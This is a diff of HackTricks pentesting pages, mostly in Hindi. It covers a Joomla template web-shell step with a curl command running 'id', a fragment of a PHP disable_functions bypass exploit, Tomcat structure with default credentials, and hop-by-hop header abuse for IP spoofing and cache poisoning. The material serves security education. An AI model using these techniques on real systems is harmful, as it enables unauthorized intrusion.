4. **सहेजें और बंद करें**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# डिसेबल\_फंक्शन्स बायपास - PHP 7.0-7.4 (\*निक्स केवल)
# disable\_functions bypass - PHP 7.0-7.4 (\*nix केवल)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## PHP 7.0-7.4 (\*निक्स केवल)
## PHP 7.0-7.4 (\*nix केवल)
From [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) से
```php
<?php
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
exit();
}
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# Basic Tomcat Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) में या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard सुरक्षा समूह**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### रूट के साथ न चलाने की बचाव
### रूट के साथ चलाने से बचें
रूट के साथ टॉमकैट न चलाने के लिए एक बहुत ही सामान्य कॉन्फ़िगरेशन है कि पोर्ट 80/443 में एक एपाच सर्वर सेट करना और, यदि अनुरोधित पथ एक रेगेक्स से मेल खाता है, तो अनुरोध टॉमकैट पर एक विभिन्न पोर्ट पर चलाया जाता है।
Tomcat को रूट के साथ न चलाने के लिए एक बहुत सामान्य कॉन्फ़िगरेशन यह है कि पोर्ट 80/443 पर एक Apache सर्वर सेट किया जाए और, यदि अनुरोधित पथ एक regexp से मेल खाता है, तो अनुरोध को एक अलग पोर्ट पर चल रहे Tomcat को भेजा जाता है।
### डिफ़ॉल्ट संरचना
```
├── bin
├── conf
@ -50,16 +52,14 @@
└── Catalina
└── localhost
```
* `bin` फ़ोल्डर उन स्क्रिप्ट और बाइनरीज़ को स्टोर करता है जो Tomcat सर्वर को शुरू और चलाने के लिए आवश्यक हैं।
* `conf` फ़ोल्डर Tomcat द्वारा उपयोग किए जाने वाले विभिन्न कॉन्फ़िगरेशन फ़ाइलों को स्टोर करता है।
* `tomcat-users.xml` फ़ाइल उपयोगकर्ता क्रेडेंशियल और उनके असाइन किए गए भूमिकाओं को स्टोर करती है।
* `lib` फ़ोल्डर Tomcat के सही कार्य करने के लिए आवश्यक विभिन्न JAR फ़ाइलों को रखता है।
* `logs` और `temp` फ़ोल्डर अस्थायी लॉग फ़ाइलों को स्टोर करते हैं।
* `webapps` फ़ोल्डर Tomcat का डिफ़ॉल्ट वेब रूट है और सभी अनुप्रयोगों को होस्ट करता है। `work` फ़ोल्डर एक कैश के रूप में कार्य करता है और रनटाइम के दौरान डेटा को स्टोर करने के लिए उपयोग किया जाता है।
* `bin` फ़ोल्डर स्क्रिप्ट और बाइनरी को संचालित करने और चलाने के लिए आवश्यक होता है।
* `conf` फ़ोल्डर टॉमकैट द्वारा उपयोग किए जाने वाले विभिन्न कॉन्फ़िगरेशन फ़ाइलें संग्रहित करता है।
* `tomcat-users.xml` फ़ाइल उपयोगकर्ता क्रेडेंशियल्स और उनके दायित्व भूमिकाएँ संग्रहित करती है।
* `lib` फ़ोल्डर टॉमकैट के सही काम के लिए आवश्यक विभिन्न JAR फ़ाइलें रखता है।
* `logs` और `temp` फ़ोल्डर अस्थायी लॉग फ़ाइलें संग्रहित करते हैं।
* `webapps` फ़ोल्डर टॉमकैट का डिफ़ॉल्ट वेबरूट है और सभी एप्लिकेशनों को होस्ट करता है। `work` फ़ोल्डर एक कैश के रूप में काम करता है और रनटाइम के दौरान डेटा संग्रहित करने के लिए उपयोग किया जाता है।
प्रत्येक फ़ोल्डर `webapps` के अंदर निम्नलिखित संरचना होनी चाहिए।
`webapps` के अंदर प्रत्येक फ़ोल्डर से अपेक्षित संरचना है।
```
webapps/customapp
├── images
@ -76,12 +76,10 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
सभी फ़ाइलों में सबसे महत्वपूर्ण फ़ाइल `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। इस फ़ाइल में **रूट्स के बारे में जानकारी** संग्रहीत है जो एप्लिकेशन द्वारा उपयोग किए जाने वाले और इन रूट्स को संभालने वाली कक्षाएँ हैं।\
एप्लिकेशन द्वारा उपयोग किए जाने वाले सभी कंपाइल की गई कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। ये कक्षाएँ महत्वपूर्ण व्यावसायिक तर्क और संवेदनशील जानकारी भी शामिल कर सकती हैं। इन फ़ाइलों में कोई भी सुरक्षा कमी वेबसाइट का पूरी तरह से कमजोर होने की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष एप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [जकार्ता सर्वर पेज्स (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जो एक अपाचे सर्वर पर PHP फ़ाइलों के समान है।
सबसे महत्वपूर्ण फ़ाइल इनमें से `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। यह फ़ाइल **ऐप्लिकेशन द्वारा उपयोग किए जाने वाले रूट्स** के बारे में जानकारी और इन रूट्स को संभालने वाली कक्षाओं को संग्रहीत करती है।\
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी संकलित कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। इन कक्षाओं में महत्वपूर्ण व्यावसायिक लॉजिक के साथ-साथ संवेदनशील जानकारी भी हो सकती है। इन फ़ाइलों में कोई भी भेद्यता वेबसाइट के पूर्ण समझौते की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष ऐप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जिसे Apache सर्वर पर PHP फ़ाइलों के साथ तुलना की जा सकती है।
यहाँ एक उदाहरण **web.xml** फ़ाइल है।
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
@ -99,17 +97,15 @@ webapps/customapp
</servlet-mapping>
</web-app>
```
ऊपर दिया गया `web.xml` कॉन्फ़िगरेशन एक **नया सर्वलेट जिसे `AdminServlet` नामक** को परिभाषित करता है जो **कक्ष `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। जावा डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, इसका मतलब ऊपर परिभाषित कक्ष के लिए डिस्क पर पथ होगा:
The `web.xml` configuration above defines a **नया सर्वलेट जिसका नाम `AdminServlet`** है जो **क्लास `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। Java डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, जिसका अर्थ है कि ऊपर परिभाषित क्लास के लिए डिस्क पर पथ होगा:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
अगले, एक नया सर्वलेट मैपिंग बनाया गया है **`/admin` को `AdminServlet` के साथ मैप करने के लिए**। यह कॉन्फ़िगरेशन किसी भी अनुरोध को **`/admin` के लिए `AdminServlet.class`** कक्ष को प्रोसेस करने के लिए भेजेगा। **`web.xml`** विवरणकर्ता में कई **संवेदनशील जानकारी** होती है और यह एक महत्वपूर्ण फ़ाइल है जो जांचने के लिए होती है जब एक **स्थानीय फ़ाइल समावेशन (LFI) वंशावली** का लाभ उठाया जा रहा है
इसके बाद, एक नया सर्वलेट मैपिंग बनाया गया है ताकि **`/admin` के लिए अनुरोधों को `AdminServlet`** से मैप किया जा सके। यह कॉन्फ़िगरेशन **`/admin`** के लिए प्राप्त किसी भी अनुरोध को **`AdminServlet.class`** क्लास के लिए प्रोसेसिंग के लिए भेजेगा। **`web.xml`** विवरण में बहुत सारी **संवेदनशील जानकारी** होती है और यह एक महत्वपूर्ण फ़ाइल है जिसे **स्थानीय फ़ाइल समावेशन (LFI) भेद्यता** का लाभ उठाते समय जांचना चाहिए
### tomcat-users
**`tomcat-users.xml`** फ़ाइल का उपयोग **`/manager` और `host-manager` व्यवस्थापक पृष्ठों** तक पहुंच की अनुमति देने या न देने के लिए किया जाता है।
**`tomcat-users.xml`** फ़ाइल का उपयोग **अनुमति देने** या **`/manager` और `host-manager` प्रशासनिक पृष्ठों** तक पहुँच को अस्वीकार करने के लिए किया जाता है।
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -150,5 +146,29 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
The file shows us what each of the roles `manager-gui`, `manager-script`, `manager-jmx`, and `manager-status` provide access to. In this example, we can see that a user `tomcat` with the password `tomcat` has the `manager-gui` role, and a second weak password `admin` is set for the user account `admin`
यह फ़ाइल हमें दिखाती है कि प्रत्येक भूमिका `manager-gui`, `manager-script`, `manager-jmx`, और `manager-status` किसको पहुंच प्रदान करती है। इस उदाहरण में, हम देख सकते हैं कि एक उपयोगकर्ता `tomcat` जिसका पासवर्ड `tomcat` है, के पास `manager-gui` भूमिका है, और एक दूसरा कमजोर पासवर्ड `admin` उपयोगकर्ता खाते `admin` के लिए सेट किया गया है।
## References
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,60 @@
# हॉप-बाय-हॉप हेडर्स
# hop-by-hop headers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**यह पोस्ट [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) का सारांश है**
**यह पोस्ट का सारांश है [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
हॉप-बाय-हॉप हेडर्स एकल परिवहन स्तर कनेक्शन के लिए विशेष होते हैं, मुख्य रूप से HTTP/1.1 में उपयोग किए जाते हैं दो नोडों के बीच डेटा प्रबंधित करने के लिए (जैसे क्लाइंट-प्रॉक्सी या प्रॉक्सी-प्रॉक्सी), और आगे नहीं भेजे जाने के लिए नहीं होते। मानक हॉप-बाय-हॉप हेडर्स में `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, और `Proxy-Authenticate` शामिल हैं, जैसा कि [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) में परिभाषित है। अतिरिक्त हेडर्स को `Connection` हेडर के माध्यम से हॉप-बाय-हॉप नामित किया जा सकता है।
Hop-by-hop headers एकल परिवहन-स्तरीय कनेक्शन के लिए विशिष्ट होते हैं, जो मुख्य रूप से HTTP/1.1 में दो नोड्स (जैसे क्लाइंट-प्रॉक्सी या प्रॉक्सी-प्रॉक्सी) के बीच डेटा प्रबंधित करने के लिए उपयोग किए जाते हैं, और इन्हें अग्रेषित करने के लिए नहीं बनाया गया है। मानक hop-by-hop headers में `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, और `Proxy-Authenticate` शामिल हैं, जैसा कि [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) में परिभाषित किया गया है। अतिरिक्त headers को `Connection` header के माध्यम से hop-by-hop के रूप में निर्दिष्ट किया जा सकता है।
### हॉप-बाय-हॉप हेडर्स का दुरुपयोग
प्रॉक्सी द्वारा हॉप-बाय-हॉप हेडर्स का अनुचित प्रबंधन सुरक्षा समस्याओं में ले जा सकता है। जबकि प्रॉक्सी से इन हेडर्स को हटाने की उम्मीद है, सभी ऐसा नहीं करते, जिससे संभावित सुरक्षा दोष उत्पन्न हो सकते हैं।
### Hop-by-Hop Headers का दुरुपयोग
प्रॉक्सियों द्वारा hop-by-hop headers का अनुचित प्रबंधन सुरक्षा समस्याओं का कारण बन सकता है। जबकि प्रॉक्सियों से अपेक्षा की जाती है कि वे इन headers को हटा दें, सभी ऐसा नहीं करते, जिससे संभावित कमजोरियाँ उत्पन्न होती हैं।
### हॉप-बाय-हॉप हेडर्स हैंडलिंग की जांच
हॉप-बाय-हॉप हेडर्स का हैंडलिंग विशेष हेडर्स को हॉप-बाय-हॉप रूप में चिह्नित करने पर सर्वर प्रतिक्रियाओं में परिवर्तनों का अवलोकन करके जांचा जा सकता है। उपकरण और स्क्रिप्ट इस प्रक्रिया को स्वचालित कर सकते हैं, प्रॉक्सी इन हेडर्स का प्रबंधन कैसे करते हैं और संभावित गलतियों या प्रॉक्सी व्यवहारों का पता लगा सकते हैं।
### Hop-by-Hop Header हैंडलिंग के लिए परीक्षण
जब विशिष्ट headers को hop-by-hop के रूप में चिह्नित किया जाता है, तो सर्वर प्रतिक्रियाओं में परिवर्तनों का अवलोकन करके hop-by-hop headers की हैंडलिंग का परीक्षण किया जा सकता है। उपकरण और स्क्रिप्ट इस प्रक्रिया को स्वचालित कर सकते हैं, यह पहचानते हुए कि प्रॉक्सी इन headers का प्रबंधन कैसे करती है और संभावित रूप से गलत कॉन्फ़िगरेशन या प्रॉक्सी व्यवहार को उजागर कर सकते हैं।
हॉप-बाय-हॉप हेडर्स का दुरुपयोग विभिन्न सुरक्षा प्रभावों में ले जा सकता है। नीचे कुछ उदाहरण हैं जो दिखाते हैं कि इन हेडर्स को संभावित हमलों के लिए कैसे बदला जा सकता है:
Hop-by-hop headers का दुरुपयोग विभिन्न सुरक्षा निहितार्थों का कारण बन सकता है। नीचे कुछ उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे इन headers को संभावित हमलों के लिए हेरफेर किया जा सकता है:
### `X-Forwarded-For`ा उपयोग करके सुरक्षा नियंत्रण को छलना
एक हमलावर `X-Forwarded-For` हेडर को अपने लक्ष्य के आईपी पर आधारित पहुंच नियंत्रणों को छलकर गुजर सकता है। यह हेडर अक्सर प्रॉक्सी द्वारा उपयोग किया जाता है ताकि प्रॉक्सी उपयोक्ता के मूल आईपी पते का पता लगा सके। हालांकि, यदि कोई प्रॉक्सी इस हेडर को हॉप-बाय-हॉप के रूप में संज्ञान में लेता है और सही मान्यता के बिना आगे भेजता है, तो हमलावर अपना आईपी पता छलकर सकता है।
### `X-Forwarded-For`े साथ सुरक्षा नियंत्रणों को बायपास करना
एक हमलावर `X-Forwarded-For` header को हेरफेर कर सकता है ताकि IP-आधारित पहुंच नियंत्रणों को बायपास किया जा सके। इस header का अक्सर प्रॉक्सियों द्वारा क्लाइंट के मूल IP पते को ट्रैक करने के लिए उपयोग किया जाता है। हालाँकि, यदि एक प्रॉक्सी इस header को hop-by-hop के रूप में मानती है और इसे उचित सत्यापन के बिना अग्रेषित करती है, तो एक हमलावर अपने IP पते को स्पूफ कर सकता है।
**हमले का परिदृश्य:**
1. हमलावर एक वेब एप्लिकेशन को प्रॉक्सी के पीछे एक HTTP अनुरोध भेजता है, `X-Forwarded-For` हेडर में एक नकली आईपी पता शामिल करता है।
2. हमलावर यह भी `Connection: close, X-Forwarded-For` हेडर शामिल करता है, जिससे प्रॉक्सी को `X-Forwarded-For` को हॉप-बाय-हॉप के रूप में देखने के लिए प्रेरित किया जाता है।
3. गलत रूप से कॉन्फ़िगर की गई प्रॉक्सी वेब एप्लिकेशन को छलकर बिना दिखाए हुए `X-Forwarded-For` हेडर के साथ अनुरोध आगे भेजती है।
4. वेब एप्लिकेशन, मूल `X-Forwarded-For` हेडर नहीं देखता, शायद अनधिकृत पहुंच के रूप में अनुमानित पहुंच के रूप में विचार कर सकता है, जिससे अनधिकृत पहुंच से अनधिकृत पहुंच की अनुमति दी जा सकती है।
**हमला परिदृश्य:**
1. हमलावर एक HTTP अनुरोध को एक वेब एप्लिकेशन को भेजता है जो एक प्रॉक्सी के पीछे है, जिसमें `X-Forwarded-For` header में एक नकली IP पता शामिल है।
2. हमलावर `Connection: close, X-Forwarded-For` header भी शामिल करता है, जिससे प्रॉक्सी को `X-Forwarded-For` को hop-by-hop के रूप में मानने के लिए प्रेरित किया जाता है।
3. गलत कॉन्फ़िगर की गई प्रॉक्सी अनुरोध को वेब एप्लिकेशन को बिना स्पूफ किए गए `X-Forwarded-For` header के अग्रेषित करती है।
4. वेब एप्लिकेशन, मूल `X-Forwarded-For` header को न देखकर, अनुरोध को सीधे एक विश्वसनीय प्रॉक्सी से आने के रूप में मान सकता है, जिससे अनधिकृत पहुंच की अनुमति मिल सकती है।
### हॉप-बाय-हॉप हेडर इंजेक्शन के माध्यम से कैश पॉइज़निंग
यदि कैश सर्वर हॉप-बाय-हॉप हेडर्स पर आधारित सामग्री को गलत रूप से कैश करता है, तो हमलावर दुर्भाग्यपूर्ण हेडर्स को इंजेक्ट करके कैश को पॉइज़न कर सकता है। इससे उपयोगकर्ताओं को गलत या दुर्भाग्यपूर्ण सामग्री सेवा की जा सकती है।
### Hop-by-Hop Header इंजेक्शन के माध्यम से कैश पॉइज़निंग
यदि एक कैश सर्वर hop-by-hop headers के आधार पर सामग्री को गलत तरीके से कैश करता है, तो एक हमलावर हानिकारक headers को इंजेक्ट कर सकता है ताकि कैश को ज़हर दिया जा सके। इससे उपयोगकर्ताओं को एक ही संसाधन के लिए अनुरोध करते समय गलत या हानिकारक सामग्री मिल सकती है।
**हमले का परिदृश्य:**
